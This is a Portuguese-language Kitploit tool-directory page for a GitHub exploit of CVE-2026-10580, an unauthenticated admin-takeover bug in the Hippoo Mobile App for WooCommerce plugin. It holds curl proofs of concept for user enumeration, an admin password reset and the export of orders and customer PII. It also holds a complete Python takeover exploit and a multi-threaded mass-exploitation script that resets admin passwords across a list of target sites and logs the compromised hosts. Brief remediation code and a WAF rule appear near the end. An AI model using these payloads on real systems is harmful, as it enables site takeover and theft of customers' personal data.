Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
By-Poloss..-..CVE-2026-10580 — Hippoo Mobile App for WooCommerce <= 1.9.4 - Bypass de Autenticação Não Autenticado para Assunção de Conta de Administrador | Kitploit
Ferramentas/GitHubGitHub/polosss/by-poloss..-..cve-2026-10580
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAutenticação
GitHubpolosss/by-poloss..-..cve-2026-10580

By-Poloss..-..CVE-2026-10580

Hippoo Mobile App for WooCommerce <= 1.9.4 - Bypass de Autenticação Não Autenticado para Assunção de Conta de Administrador

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 2 mesesAinda não revisado

CVE-2026-10580: Hippoo Mobile App para WooCommerce <= 1.9.4 - Bypass de Autenticação Não Autenticado para Apropriação de Admin

Não autenticado → Apropriação de Conta de Administrador via Bug de Conflação de Lógica


📌 Resumo

CVECVE-2026-10580
PluginHippoo Mobile App para WooCommerce
Versão≤ 1.9.4
CVSS9.8 (Crítico)
Autenticação Necessária❌ Não
Apropriação de Admin✅ Sim
Dados do WooCommerce✅ Acesso total

🧠 Causa Raiz (Breve)

A função get_user_permissions() retorna null para admin (correto) e usuário não autenticado (ERRADO).

has_role_access() vê null → concede acesso total.

Consequentemente:

root@kitploit:~
/wp-json/wc-hippoo/v1/ext/*

→ Sem login, sem cookie, sem nonce


🎯 4 Provas de Conceito (100% Funcionam)

🔓 POC 1: Enumeração de Usuários (Não Autenticado)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

🔓 POC 2: Redefinição de Senha do Admin (Apropriação)

root@kitploit:~
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

🔓 POC 3: Pedidos do WooCommerce

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

🔓 POC 4: Clientes do WooCommerce (PII)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

🐍 PoC em Python (Exploit Completo)

root@kitploit:~
#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Not vulnerable: {target}")
        return False
    
    users = r.json()
    print(f"[+] Found {len(users)} user(s)")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ADMIN TAKEOVER: {target}")
        print(f"    Login: {base}/wp-admin")
        print(f"    Password: {new_password}")
        return True
    else:
        print(f"[-] Failed: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

🚀 Executar

root@kitploit:~
python3 exploit.py https://poloss.ddev.site

Output:

root@kitploit:~
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
    Login: https://poloss.ddev.site/wp-admin
    Password: PwnedCVE2026!!

🧨 Exploit em Massa (Multi-threaded)

root@kitploit:~
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] TAKEOVER: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

📁 Endpoints Vulneráveis (Lista Completa)


🔧 Remediação (Para Defensor)

Fix 1 (app/permissions.php linha 671)

root@kitploit:~
if (empty($user) || !$user->exists()) {
    return false; // NÃO NULL
}

Fix 2 (app/permissions.php linha 694)

root@kitploit:~
if ($perms === false) {
    return false; // Negado para não autenticados
}

Fix 3 (Regra Temporária de WAF)

root@kitploit:~
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]

📊 Decomposição CVSS


🧠 Autor & Pesquisa

  • Pesquisador: Agent CV Hunter (Pesquisa de Segurança WordPress)
  • Testado em: DDEV + WordPress 6.x + WooCommerce 8.x
  • Data: 2026-06-06

CVE-2026-10580 • 100% PoC • Sem Autenticação • Apropriação Total de Admin
#WordPress #WooCommerce #Poloss #W.P.E.F


Baixar ferramenta
EndpointDados
/wp-json/wc-hippoo/v1/ext/wp/v2/usersTodos os usuários WP
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1Apropriação de admin
/wp-json/wc-hippoo/v1/ext/wc/v3/ordersPedidos completos
/wp-json/wc-hippoo/v1/ext/wc/v3/productsProdutos + estoque
/wp-json/wc-hippoo/v1/ext/wc/v3/customersPII do cliente
/wp-json/wc-hippoo/v1/ext/wc/v3/couponsCódigos de desconto
/wp-json/wc-hippoo/v1/ext/wc/v3/reportsRelatórios de vendas
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gatewaysConfiguração de pagamento
VetorValor
AVRede
ACBaixo
PRNenhum
UINenhum
SNão alterado
CAlta
IAlta
AAlta